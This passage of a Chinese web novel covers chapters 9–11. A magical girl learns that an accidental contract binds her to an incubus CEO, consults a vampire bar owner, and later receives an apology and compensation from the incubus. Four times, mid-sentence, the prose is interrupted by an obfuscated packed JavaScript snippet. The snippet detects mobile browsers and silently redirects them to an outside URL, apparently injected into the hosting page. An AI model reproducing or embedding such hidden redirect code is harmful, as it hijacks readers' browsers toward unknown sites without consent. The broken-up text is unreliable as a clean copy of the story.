只要一闭眼,自己就能回忆起庄斯夜当时的样子,实在是让人印象深刻。 她忽然警觉,难道这也是魅魔魅惑之力的一部分? “这事我的确帮不上什么忙,魅魔这个种族已经消失在公众视野太久了,能掌握的资料也不多,唯一能给你的忠告就是……” 仰冰语气凝重,“把持住自己。” “知道了,我会把持的。” “实在不行我给你配点沉睡药剂,睡着就没有这些烦恼了。” 盛凌华实在是受不了,忍不住吐槽:“一直睡下去跟死了有什么区别啊!” 最后泡泡将盛凌华送出了门,对方一直忧心忡忡地盯着她,眼里写满了担心。 看得盛凌华都不忍心了,安慰对方说:“放心好了,我不会有事的,光明女神会庇护我的。” 说起来魔法少女和精灵都是光明女神的信徒,不过盛凌华很少会把女神挂在嘴上,本质上她并不相信这些口号,要是能安慰到别人的话,那说一说也无所谓了,相信女神也不会介意的。 泡泡也一脸认真地说:“我也会替您向女神祈祷的。” 盛凌华笑了,伸手摸了摸它的头。精灵的生命周期很长,虽然泡泡已经一百多岁了,但是按精灵的岁数来算对方还没成年,她也一直是把泡泡当成弟弟妹妹看的。 “谢啦。” 之所以说是弟弟妹妹,也是因为精灵生来没有性别,成年后自行选择。 盛凌华按照原路返回,路上她又看了眼手腕,图案又多了一些,和那张插图越来越像了。 仰冰的话也不断在她耳边回响,谁能想到事情竟然会变成这样,她的确解决了一些问题,可新的问题也冒了出来。 盛凌华掏出手机,点开了谢天骄的对话框,对方刚刚还给她发来了一个链接。 点进去是一篇新闻报道,《天工科技即将完成B轮融资,加速海外布局》 她大致看了看,上面提到庄斯夜远赴海外参与签约仪式,新闻上的配图也是公司宣传照,依旧没有庄斯夜的照片。 谢天骄还发了一句感慨。 [天工真是不得了,再这么下去离上市也不远了。] 换做平时,她是不会给盛凌华发这些东西的,但在知道对方和庄斯夜可能认识后,她看到相关新闻下意识地就点了转发。 盛凌华不太懂什么叫B轮融资,但她从字里行间里读出了成功二字。 不管是作为人,还是作为魅魔,庄斯夜取得成就都可以被评价为卓越,对方应该也不需要来跟自己签订契约来获得什么成就感吧。 想不通啊,实在是想不通! 到家时,已经是三个小时后的事情了,再等会儿爱德蒙都要开门了,盛凌华决定直接去找他。 爱德蒙虽然资产颇丰,但却一直住在酒馆的地下室,在和非人生物打了这么多年的交道后,她深刻意识一件事情,不能用自己的思维去揣测别人。 到了酒馆,门已经开了。一进去就看到爱德蒙正在吧台和人聊天,聊天对象她也认识。 盛凌华奔波了一下午,终于回到一个令人熟悉的地方,现在只觉得身心俱疲。 她走到两人面前坐下,冲爱德蒙打了个响指,“老板,来杯酒。” 爱德蒙瞥了她一眼,一言不发地背过身,再转来时,手上多了一杯深褐色,还冒着气泡的液体放到她面前。 盛凌华端起来闻了闻,发现气味非常熟悉,活跃的小气泡也已经蹦到她的鼻子上了,“这不是可乐么?” 对方问:“那你喝么?” “……也行吧。” 其实她一向是不喝酒的,因为酒精和香烟都被视为堕落品,她在这方面向来规矩,每次来酒馆也只是喝饮料。 她一直觉得光明女神的思想稍显落后,倘若本尊来到二十一世纪,就会发现令人上瘾的东西多了去了。 盛凌华端起可乐猛灌一口,就像是喝烈酒般哈了口气,单手撑在桌上,像极了电影里来酒吧诉说心事的主角,眼神沧桑地对爱德蒙说:“老伙计,我遇到了麻烦。” 爱德蒙拿起2L大瓶装可乐帮她倒满,“又怎么了?” 盛凌华一言不发,只是露出手腕给他看。“认识吗?” 对方倒可乐的手突然一顿,差点让饮料漫过杯口,他放下饮料,低头看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250881|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了那图案好几眼才问:“你怎么跟魅魔扯上关系了?” 一边问还不忘给饮料上盖子。 这人果然认识! 盛凌华突然来了信心,有爱德蒙她有什么好怕的! “你认识这个图案?” “魅魔的契约符号吧,我记得分为金色和紫色两种,分别代表从属关系。” “没错,那个庄斯夜就是魅魔,我今天凌晨去找他,……然后就这样了。” 爱德蒙听完做出一句评价:“你也是够倒霉的,这都能让你撞上。” “你知道这契约该怎么消除吗?” “据我所知好像是消除不了的,我以前有个朋友也养了只魅魔,也签了契约。” 盛凌华问:“那然后呢?” “后来那只魅魔寿终正寝,我朋友还挺难过,说不打算再找第二个魅魔了。” “等一下,怎么跟我听到的不一样,不是说和魅魔结下契约后就会被吸干能量,力竭而亡吗?” “那也要看跟谁结,一般人的确供养不了魅魔这种高需求物种。” 爱德蒙自然也猜到了盛凌华的担忧,安慰她说:“你的话应该没那么容易被掏空,你自己记得克制点。” 不得不说,掏空这个词用得相当到位。 盛凌华听完只觉得眼皮狂跳,一点都没有绝处逢生的喜悦,“那我真要谢谢你的提醒了。” “真想不到竟然是魅魔,我还以为他们都跑到国外去了,这边的人文风俗太过保守,实在是不适宜他们生存。” 此时身旁一直没说话的老熟人也出声了,他声线粗犷,说起话来瓮声瓮气的,自带回响:“我几年前倒是跟魅魔打过交道。” 此人正是前两天盛凌华在店里碰到的那位酒蒙子老兄,全名比克,是一名矮人,目前在H市经营着一家废品回收站。 据说他以前是什么不得了的大人物,但现在选择退隐江湖,过着养老般闲云野鹤的生活。 不过这些光辉过往都是比克自说自话,盛凌华从未在对方身上感受到任何强大的气息,所以只当是醉汉的胡言乱语罢了。 爱德蒙好奇地问:“怎么没听你说过?” “当时是通过中间人联系的,对方想找我做一个可以延迟魅魔发情期的东西,你也知道我早就转行了,难得碰到这么新鲜的要求,才答应接了这单。” “延迟发情啊。”爱德蒙思索着,忽然想明白了些什么,一时感慨道:“说起来他们这一族也挺倒霉的,早些年经常被掠夺豢养,偶尔出现个出类拔萃的角色,但想要改变整个种族的命运实在是太困难了。还是现在好,机遇多,选择也多。” “之前我还不太理解为什么庄斯夜会选择开公司,现在倒是有点懂了。” 他的语气中透着欣赏,“能做到这一步,的确挺有本事。” “等一下,现在好像不是夸他的时候吧。”盛凌华无力地说。 “你有什么好苦恼的?不就是结了契约嘛,又不是结婚。”爱德蒙笑了,语气轻松道:“再说你又不吃亏,魅魔的长相身材放眼整个非人生物圈都是数一数二的。” “你给人当主人有什么不好?” 9. 污渍 不得不说,爱德蒙和仰冰虽然是完全不同的两个种族,可思维方式竟然是惊人的相似…… 重点是不吃亏吗? 盛凌华一时语塞,神情悲愤道:“跟你这种旧时代过来的土地主说不明白!” 爱德蒙看到对方的眉毛苦恼得都要打成结了,这才反应过来:“你该不会是不好意思了吧?” 要是平日里的盛凌华,这时一定会跳起来语气激昂地反驳他。可如今对方却是猛灌了一口可乐,唉声叹气道:“真麻烦。” 爱德蒙只觉得稀奇,忍不住笑了,不光是他,隔壁的比克也看了过来。 “这有什么麻烦的?” 盛凌华转过头,看了看爱德蒙和比克,忽然觉得这场谈话实在是进行不下去了。 一个活了八百岁的吸血鬼,一个酒蒙子矮人怎会懂她的烦恼? 她叹了口气: “算了不说了,死不了就成。” 不管是仰冰还是爱德蒙都传递出了这一信号,看来自己应该不用担心自己的小命不保。 “要我说你还是和人类混得时间太久,顾虑太多了。”爱德蒙一针见血道,“魅魔而已,又不是什么洪水猛兽,如果中意,发生点什么也是正常。” “我本来就是人。”盛凌华耸了耸肩,前十五年自己就是作为一个普通人类活着的,谁能想到她的青春期迎来不是叛逆中二病,而是这么大一个惊喜? “还有,请你不要把这个问题说得这么轻描淡写,每个人的接受程度是不一样的!”她板着脸说。 她还没交过男朋友呢! 原因也很简单——顾不上,在情窦初开的年纪,同龄人还在看小说打游戏,而她已经在和非人生物斗智斗勇了。 “你甚至不敢提这个词。”爱德蒙挑了挑眉,“你该不会到现在还是……” 话音未落,盛凌华就尖叫着打断他,“别乱说!” 爱德蒙不急不慢地回答: “其实我是打算说单身来着,不过你的反应已经告诉了我答案,真是一点也不意外。” “你不懂。”盛凌华一脸深沉地说道:“对我而言,世界和平才是我的梦想。” 比克扭头问爱德蒙:“你往可乐里掺酒了?” “没有,但我有点后悔,应该掺一点的。”爱德蒙语气调侃地说:“她连酒精都不碰,又怎么会和魅魔扯上关系。” 盛凌华实在是听不下去了,立马站了起来,“我走了。” “好了不说了。”爱德蒙赶紧挽留她,“说回正题,这契约不至于让人丧命,起码我朋友活得好好的,至于后续该怎么办,还得你们当事人商量,或许魅魔内部有解除办法也说不定。” 盛凌华又重新坐下,再度叹气:“这叫什么事啊。” “那他人呢?” “去国外签约了,好像是公司融资成功,具体我也不清楚。” “换个角度来看,也不一定是坏事,万一你们俩很合得来呢?” 盛凌华回答:“我不觉得在这种强制性契约下,可以构建出什么纯粹的关系。” 爱德蒙听后沉默了片刻,“你说得也对,但我相信你可以处理好这些。” 他遇到过好几个魔法少女,但并非和每一个都成为朋友,说到底还是因为欣赏盛凌华身上的一些特质。 两人嘻嘻哈哈惯了,盛凌华很少听见对方如此认真地称赞她,一时还有点不适应。 “忽然说得这么认真,搞得我都有点压力了。”盛凌华嘴上说着玩笑话,心情的确也平复不少。 很快营业时间就到了,店里来了些客人,比克早在第一位客人上门时便从后门溜走了。 矮人的身形要比普通人类矮小许多,所以比克很不喜欢暴露在公众视野下。 眼看着爱德蒙开始忙碌,盛凌华待了会儿也离开了酒馆。 入睡前,她再一次观察了手腕,手腕上的图案已经初见雏形,比起动漫中的经典纹路要更简洁,金色线条天生带着一股神圣威严的气质。 盛凌华盯着图案,忽然想到了庄斯夜的眼睛,立马晃晃脑袋,强迫自己全都忘掉。 不管了,睡觉要紧! 寂静无声的夜晚,盛凌华已然陷入沉睡。 她手腕上的线条仿佛苏醒,就像是被赋予了生命一般,开始缓慢流淌、交汇,照亮血管,勾勒出复杂的纹路。 在同一时间的大洋彼岸,庄斯夜在会议中突然按住了太阳穴。 一旁的助理立刻询问:“庄总?” 对方摆了摆手,语气平淡却富有磁性,“休息十分钟。” 庄斯夜走进卫生间,双手撑在洗手台上,先是做了个深呼吸,过了一会儿,才拉开袖子去看手腕上突然出现的图案。 腕骨下,复杂繁琐的紫色纹路布满手臂,颜色比他想得还要深,暗沉沉,就像是洗不掉的污渍。 庄斯夜神情阴郁地放下袖子,挡住了这恼人的颜色。 他很清楚这是怎么回事,一股说不出的烦躁感哽在喉咙,令人不吐不快。 不,不该是这样,他决不允许自己成为浪荡放纵、沉沦于低俗欲望的同类。 他看着镜子中的自己,不知过了多久,门外传来助理的问询声,他才收回视线,拧开水龙头,任由水流倾流而下,过了几秒又关上,转身走了出去。 打开门,他又恢复成了众人所熟悉的庄斯夜。 “走吧。” 盛凌华醒来时发现,手腕上的图形已经完成。 她盯着图案看了半天,最后拍了个照给爱德蒙发了过去,不过这个点对方还在睡觉,自然回不了消息。 盛凌华决定给自己找点活儿干,来调剂一下心情。 她也特地和谢天骄打了招呼,一旦听说庄斯夜回国就通知她。 不知道为何,对方对这件事情反应格外热情,根本不需要自己多说,她就一口应承下来。 换做以前,盛凌华会觉得是谢天骄为人热情,乐于助人,但现在她怀疑是庄斯夜的魅魔属性开始发力了。 她在日常接活的群里发消息,过了一会儿便有人联系她,她也不挑剔,找了个能做的就去了。 今天是去给一个晚会当观众,除了费时间倒是不辛苦,她只需要坐在那里,按照工作人员的要求喝彩鼓掌就好。 拍摄持续了数个小时,盛凌华的脸都要笑僵了,她揉着脸回家,谢绝了爱德蒙的邀约。 别看对方昨天嘴上调侃,其实还是相当靠谱的,他打听了不少与庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250882|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯夜有关的消息,整理好全都发给了她。 庄斯夜在非人生物圈里相当低调,按爱德蒙的话说,对方似乎在隐藏身份。 [对你来说应该是好事。] [怎么说?] [虽然没证据,但我怀疑几年前找比克订做抑制器的就是庄斯夜,说不定他也不喜欢当魅魔,想用人类的身份打出一番天地,不然我实在是想不出魅魔延迟发情期的原因是什么。] [但愿如此吧。] [想开点,你可是勇往直前,无所不能的魔法少女。] [这个时候就不要给我打鸡血了朋友!] 转眼又过了一天,盛凌华彻底接受现实,不再像刚知道真相时那样坐立难安。 只是手上多了一个印记而已,对她的生活根本没有产生任何影响嘛。 今天她被奶茶店的同事喊去帮忙,最近有个员工请假出去旅游,因此排班较为紧张。 每天中午都是这家奶茶店最为繁忙的时候,附近工作的上班族会趁着午休来买杯奶茶。 这家店的奶茶的特色是原叶鲜奶茶,不少不爱喝咖啡的人都会选择来买奶茶提神。 今天也是相当繁忙的一天,盛凌华被安排到了打包岗上,除了贴标签装袋,还得接待客人和外卖小哥的各种询问。 “135号在吗?” “在的。” 一个女生从人群外围钻了进来,盛凌华一看到对方很自然地打起招呼:“是你啊。” 她不太清楚对方叫什么名字,但女生是这家店的熟客,常来关顾。 两人第一见面时,盛凌华刚来店里打工,还不熟悉流程,打包时难免动作生疏。 这个女生不仅主动帮忙,还安慰她不着急,盛凌华对她印象深刻,后来再见面,两人就会聊上几句。 对方每次来奶茶店都会买同一款奶茶,是她们店的王牌产品,在网上一直有牛马特供饮品的戏称,内含大量咖啡因,比普通咖啡的含量还要重。 起初两人见面还能说说笑笑,但越到后来她越发觉这女生没什么笑容了。 “你好像瘦了呢。”盛凌华关心地问,她上周来的时候,对方好像都不这样呢。 女孩看上去很是憔悴,眼下有明显的黑眼圈,她勉强挤出个笑容,说:“最近工作比较忙。” “要注意身体啊。”盛凌华叮嘱了一句,女生低声道了谢,拿起奶茶袋便匆匆离去。 盛凌华目送着对方离去的身影,稍稍走了下神,思绪就被其他客人打断了。 “请问您多少号呢?” 又过了一天,谢天骄给盛凌华发来消息,天工的熟人告诉她庄斯夜明天就会回来。 说实话,干了几天活,她都有点把这事儿给忘了,不过人回来也是好事,她总得跟庄斯夜坐下来好好俩聊聊。 今晚盛凌华在便利店里值夜班,外面下起了雨,因此客人不多。 雨水将夜景变得迷蒙,路灯在橱窗上晕开,变成一团团橘黄色的光晕,偶尔会有飞驰而过的车辆经过,激起一滩水花,闪过一道亮光。 很是安逸的晚上。 盛凌华托着腮,望着店外发呆。 直到一辆黑色轿车缓缓停在便利店门口。 10. 补偿 车灯闪烁,湿漉漉的地面仿佛被点燃,跳跃着难以预测的火焰。 盛凌华坐直身体,原本懒散的表情也换为一脸凝重。 有人从车上走下,没有打伞,任由雨水低落。 叮咚—— 庄斯夜出现在店门口,灯光从头顶上打下也挡不住他优越的骨相,西装外套上还留着水珠,亮闪闪的像是服装上原本的点缀。 对方的脸色比上次见面要好上许多,头发梳得齐整,戴着新闻照中的那副无框眼镜,冷漠的神情自带一股疏离气息。 即便是出现在便利店,也给人一种即将出席会议的错觉。 两人就这么对视了数秒,盛凌华看似稳如泰山地坐着,实则已经攥紧了拳头,开始盘算万一动手,该如何进攻才能避免扑倒货架。 直到对方开口:“能谈谈吗?” 他的声音有点沙哑却极具特色,令人过耳难忘。 盛凌华不敢有丝毫松懈,指着角落的休息区说:“我不能离开店里。” 庄斯夜扭头看了眼,便抬脚走了过去。 见对方如此,盛凌华也起身跟上,谨慎地隔着一个空位坐下。 庄斯夜扫了一眼她和中间相隔的空位,并未多言。 “我不是来找麻烦的,首先我想和你道个歉,很抱歉因为我的判断,把你拖进了这堆麻烦里。” “麻烦?”盛凌华直接把手伸过去给他看,“你是说这个?” 她穿着便利店的短袖工作服,腕间的金色印记一眼可见。 不知是不是庄斯夜来了的缘故,印记正散发出淡淡的光辉,腕间还能隐隐感到一股温热感。 盛凌华想看看对方是不是也是如此,可庄斯夜穿着板正的西装,全身上下都遮得严严实实,压根看不出印记在哪儿。 对方紧盯着她的手腕,沉默的视线仿佛要把她的手腕给盯穿了,过了许久才收回目光。 他问: “你知道这是什么吗?” “是契约对吧?” 庄斯夜并不意外盛凌华已经知晓真相,虽然眼下魅魔一族大多去了海外,但其名声却是流传甚广,被认出来也不奇怪。 “没错,这是魅魔契约。” 这消息盛凌华已经听了三遍,自然不会惊讶,她不抱希望地问了句:“有解除的办法吗?” “很遗憾的告诉你,契约只会随着一方死亡而终结,所以这也是我接下来想问的问题。”庄斯夜语气平静,就像是在问一件与自己无关的事,“你打算杀掉我吗?” 盛凌华猝不及防,差点被口水呛住:“一上来就问这么劲爆的问题吗?” 庄斯夜安静地看着她,波澜不惊的眼神让盛凌华意识到,这家伙是认真在问这个问题。 她嘟囔着:“我又不是什么无情刽子手,整天打打杀杀多不和谐。” 庄斯夜点了点头,又道:“好,那我们继续往下谈,我会试着去找解除办法,在接下来的时间,尽量做到不影响你的生活。” “等等。”盛凌华打断他:“我能不能先问几个问题?” 看得出来对方是带着解决方案来的,可她真的有很多问题想问,这两天净在收集资料了,根本没人给出正确答案。 庄斯夜停顿了一下,伸手做了个请的姿势:“你说。” 盛凌华跟很多非人生物打过交道,大部分还保留着一些种族习惯,导致他们在人类社会上显得格格不入。 而庄斯夜不管是气质还是言行举止,似乎已经完全融入了。 “那天晚上到底是怎么回事?为什么我们俩会结下契约?” “这是一场意外。”庄斯夜言简意赅地解释道:“魅魔在成年后会定期进入发情期,自发诱惑所有靠近的生物签订契约,会因为本能而丧失理智这也是这个种族的缺陷。” 他的语气异常冷酷,仿佛评价的对象和他毫无关系似的。 “我当时就处于这样的状态,你是被我连累了。” “也不能这么说,我也有点责任的。” 盛凌华叹了口气,其实从之前打听的情况来看,她也早有预感了这可能是一场意外。 “要是我不去找你,应该也不会有这档子事。” 这么看来,自己当初上门兴师问罪的行为的确有点草率,庄斯夜也不是不能沟通的对象,要是两人提前通个电话,可能就没这茬了。 “一人一半吧。” “我的责任更大。”庄斯夜紧抿薄唇,“是我先找人查你的。” 那名私家侦探只跟了盛凌华两天,便突然退了定金消失不见,那时候他便知道自己的决策出现了失误。 “对哦,我都把这事给忘了。”盛凌华拍了拍脑袋:“那的确是你的问题比较大,如果不是这个侦探,我也不可能知道你的身份,差一点觉得你是在挑衅我了。” 差点就被绕进去了,她真的很无辜呢。 庄斯夜果断认错,“是我判断失误,我向你道歉。” “算了,现在说这些都没用,还是说回正题吧,这个契约到底是怎么回事?我也找人打听过,但是谁也没说清楚。” “绑定契约后,我们会有共感,能感应到对方强烈的情绪波动,另外可以通过交合获得一定的能量和感官刺激。” 果然就算再听一遍,冲击力还是很强。 盛凌华差点卡壳,急忙说:“这就不用了,我对这些没有兴趣。” “放心,我也是这个打算,所以除了共感,其他事情应该不会影响到你的生活,对于造成的损失,我会尽量补偿。” 庄斯夜盯着盛凌华,脑海中浮现出有关对方身份的调查报告,孤儿出身,大学毕业后只身来到H市,没有固定工作,目前在打零工,住着出租房,对于她这个身份来说,这个境遇并不算好。 他从来没有和魔法少女打过交道,但在没脱离族群前,也曾听长辈说过一些传说。 自古以来,魔法少女作为光明女神的代言人受到各地人民的礼待,她们接受供养,住在神殿或贵族提供的宅邸,无需为生计奔波。 在来之前,庄斯夜一直在想,盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250883|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌华究竟是个什么样的魔法少女,贸然拜访是否会为自己惹来麻烦? 当他在车里观察盛凌华,看到对方托着腮,盯着窗外发呆,就好像只是一个普通人。 庄斯夜便又想起在浴室中自己为数不多的记忆,便是听见盛凌华问自己有没有事。 于是他选择放下担忧,一探究竟。 事实也和他想的差不多,盛凌华看到自己时,眼里有陌生与防备,但并没有厌恶或仇视的情绪。 在听到这些事后,第一反应也是问解除办法,甚至还会自我反思。 这时盛凌华说:“你也知道我的身份,隔三岔五总会出现点情况,再加上我这个人情绪波动也挺强的,可能会影响到你吧。” 仅凭两人这段沟通,她也能感觉出庄斯夜的情绪相当稳定,到时候还真不知道是谁影响谁了。 “没关系,是我打扰你的生活在先,你不需要考虑我的问题。” “不过你也不用太担心。”盛凌华挠了挠头,“大部分情况下,我也算是情绪稳定?对了,还有件事情得问问你,你现在……应该没有对人类下手吧?” 她问得很难为情,说起来她真不知道这事该怎么管,男欢女爱好像不会直接对人类造成伤害,再加上魅魔天性又是如此,如果完全禁止,那不是不让人(魔)活了吗? 说不定另一方还觉得她多管闲事呢…… 但对方回答得相当果断,“没有。” 庄斯夜看了眼窗外的雨景,镜片上也被映上斑斓的光,声音很轻,差一点就被店外的雨声盖了过去。 “过去不会,以后也不会。” “嗯……毕竟我们才认识,我还是需要观察你一段时间再做判断,不过你放心,我的口碑还是很不错的,只要你好好生活,我绝对不会影响你。” “没问题,如果可以的话,我们还是尽量少接触。” 盛凌华注意到庄斯夜刻意回避的眼神,又想到听来的一些消息,好奇地问:“我很好奇,我会受到你的影响吗?” 庄斯夜这才抬眼,两人已经相处了好一会儿,但对方的眼神依旧清明,并没有出现任何异常。 “不会。” 魅魔一族从未有过和魔法少女签订契约的先例,想来除了信仰不符外,也有魔法少女不受魅惑的因素。 “呼……那就好。”盛凌华松了口气,果然之前还是在自己吓自己嘛! 庄斯夜又问:“还有别的问题吗?我们最好一次性解决。” 盛凌华连忙说有的,掏出手机调出打车的付款记录拿给他看。 “这是当初去找你的打车费,你看能不能报销一下?” 有很多问题都是未来不确定的,只能从长计议,但报销打车费是迫在眉睫的,不然她真一天白干了。 庄斯夜盯着手机界面看了足足好几秒,也不知道在想什么,随后掏出手机示意要加她。 两人添加好友后,盛凌华收到了一条转账消息。 [庄斯夜向你发起转账:10000元] 11. 亚美 他果然很有钱! 盛凌华也想过,这金额有零有整的,庄斯夜好歹是个老板,可能会直接发个整数。 但没想到竟然发了这么多个零! 虽然很想立刻点接收,但她还是客气了一下:“这也太多了吧?” 对方语气平淡,没有任何炫耀的意味,“没关系,收下吧,除了钱我也没什么能补偿你的。” “……”虽然也知道对方没这个意思,但她听了就是很火大啊。 既然如此盛凌华也就不客气,果断按下了接收。 手机立即响起金币碰撞的提示音,她的心情也跟着美妙起来的。 哦~多么悦耳的声音,想必人鱼的歌声也不过如此了。 另一边,庄斯夜已经收起了手机,“那就先这样,有事再联系。” “好的。” 盛凌华好不容易将注意力从手机上挪开,结果发现对方已经离去。 黑色轿车悄无声息地消失,正如它来时一样。 她将休息区的椅子摆正,转身回到柜台,又掏出手机看了看转账记录,一万块如今已经安安稳稳躺在了她的电子钱包里。 今晚的事情实在是得和人分享一下不可,她果断给爱德蒙打去了电话。 雨下这么大,酒馆估计也没什么生意。 很快,爱德蒙的声音在手机里响起,“怎么了?” 此时盛凌华的倾诉欲达到顶峰,语气中还带着兴奋:“你绝对想不到刚刚发生了什么!” 不等对方搭话,她便已经说了下去:“庄斯夜来找我了!” “哦?”这下爱德蒙也来了兴趣。“他来找你干什么?” “来跟我道歉的,这人态度还蛮好的。” 盛凌华回忆着庄斯夜的神情,虽然表情语气都很冷淡,但态度还不错,做到了有问必答,是真的奔着解决问题来的。 虽然她经常靠武力解决问题,但她始终认为,沟通才是最佳方案。 问题是,并非所有非人生物愿意跟她讲道理,所以庄斯夜这样的,她觉得已经相当不错了。 盛凌华一时有感而发:“文明才是促进大家进步的阶梯啊。” 爱德蒙此时却泼了她一盆凉水, “你还是小心点,虽然他做出了承诺,但本性这种事很难说的。” “说的也是,所以有个问题我一直想问你来着,你吃素这么多年对血还会有渴望吗?” “问题很尖锐啊。”爱德蒙也没生气,这的确也是他一直在克服的难题,不如说他正是由于自己的感受,才会做出忠告。 “我会尽量不把自己置于那种环境,人类不是有句古话叫君子不立于危墙之下?我觉得这话很对。” “我还以为你会说,自己已经完全脱离了这种低级趣味什么的。” “哪有这么容易。”爱德蒙叹息一声,“只能说是尽力而为吧。” “安啦,别想那么多。”盛凌华安慰他,“总之目前问题算是解决,你也不用替我操心了。” 最近没少麻烦爱德蒙,盛凌华心里也有数的,“要不我请你吃饭吧?咱们去吃顿大餐。” “口气很大嘛,刚到手的钱就迫不及待要花出去了?”爱德蒙开着玩笑,他又不缺钱,怎么会看中这顿饭,但盛凌华的态度还是很让人受用的。 “说起来,庄斯夜好歹也是公司老总,你怎么不找他多要点,对方都说是要补偿你了,怎么就给这点?” “你们有钱人就是不一样,这一万块说的跟打发叫花子似的,再说了我又不是图钱,是他硬给我的……” “我怎么感觉你嘴角都快压不住了。” “喂!”盛凌华面子上挂不住了,“给点面子好不好,好歹我也是魔法少女。” 爱德蒙还不放过她,“魔法少女不应该远离堕落之源吗?” “说得跟我要被金钱腐蚀了一样,就一万块而已,不至于吧。” 一万块又不是什么天文数字,她努力攒攒还是有的! 对方不禁笑了,他的笑声总是让盛凌华想起互联网上盛传的“老钱的笑声”,她也试着模仿过,结果相当可笑。 盛凌华忽然想到庄斯夜,虽然她没听过对方笑,但是这人的声音条件很不错,说不定能和爱德蒙比一比。 她稍稍走了个神,反应过来便听见爱德蒙说:“行了,饭就不吃了,你下回来给我带两瓶可乐过来就好。” 盛凌华嘿嘿笑了起来,“知道啦,我明天就给你送一箱。” 她每回去爱德蒙店里吨吨喝饮料,对方从没要过钱,只让她下次带瓶饮料来。 挂掉电话,她的心情也舒坦多了,此时再低头去看手腕,在灯光的照耀下,金色的印记熠熠生辉,多看看也就习惯了。 日子一连过去几天都相安无事,盛凌华决定给自己放放假,除了便利店的工作,不再接别的活。 期间,她还特地去找了仰冰一趟,在听说两人已经约定好互不影响后,对方看上去还有点失望。 “真的不打算试试吗?” “试什么?”盛凌华问完就开始后悔,动手给自己扇了一巴掌,“我这该死的好奇心啊。” “我一直很好奇,你们天生对我们有克制作用,但如果发生关系的话会发生什么?” 盛凌华话都没听完,立马找了个借口就跑了。 以仰冰的钻研精神,是真有可能拿她做实验的,她还记得之前对方就以研究的名义,找她抽了半管血。 盛凌华当时也不知道怎么想的,竟然也答应了。 因为她也很好奇,魔法少女和普通人到底哪里不一样,她入职常需要做体检验血,但医生也从来没发觉什么不对。 所以她一直都认为自己是人,顶多是稍微特殊一点的人而已。 可上次爱德蒙却说她和人类相处太久被影响到了,这话稍稍引发了她的一些思考。 年少时,她的确因为粉色头发引起过一些争议。 老师以为她违反校规染发,要求她勒令整改,她花了很长时间才让老师接受了发色是天生的事实。 但学校里还是流传着她是不良少女的谣言。 一开始她也的确会在意,毕竟自己什么都没做,却被冠以了各种污名,直到当彻底觉醒后,她突然想开了。 她是什么人,和别人认为她是什么人是两回事。 每个人都在从自己的世界看别人,暴露出来其实是他们偏见、想象、又或者是恐惧。 这跟她又有什么关系呢? 实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250884|197929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犯不上和他们见识,要容忍世界的多样性,她的时间和精力应该花在更有价值的事上。 在度过了几天轻松日子后,盛凌华再度投入工作。 最先召唤她的还是奶茶店,在经历了中午一波高峰后,店员开始轮班休息。 盛凌华给自己调了一杯特饮,美滋滋地坐到休息区准备吹吹空调,刚坐下发觉踢到了什么东西,弯腰一看,地上有个挂牌被她踢到另一边。 她捡起一看,是一张工作证,上面印着所属人的名字与工作岗位。 [亚美广告 高级文案巫鸣茗] 同时还有一张两寸证件照,盛凌华一眼就认出了这就是常来买奶茶的那个女孩子。 照片像是几年前拍的,面带笑容,充满着朝气,就像是个刚进社会的大学生。 原来她叫巫鸣茗。 名字还很好听呢,盛凌华在心中默念了几遍。 “有客人丢东西了。” 她拿着工作证走到柜台,有同事看了看说:“亚美广告就在楼上呢。” 楼上指的正是她们所在的这栋高级写字楼,楼内公司无数,大堂每日都是人来人往的。 盛凌华对这家公司也略有耳闻,亚美广告算是本地广告业中的龙头企业,走在路上也常能看到由亚美制作的广告。 她举着工作证问:“这东西要放哪里?” 一般情况下,如果客人遗落了物品,店员会将东西暂时收起来,等着客人回来寻找。 这时店长走了过来,接过工作证看了看,用商量的语气对盛凌华说:“要不你给她送上去吧,她们下班得用这个打卡,再过来找挺麻烦的。” 奶茶店在这栋写字楼下也开了好几年,对各家公司的情况都了如指掌,大家都是熟客,有时候能行个方便也就顺手做了。 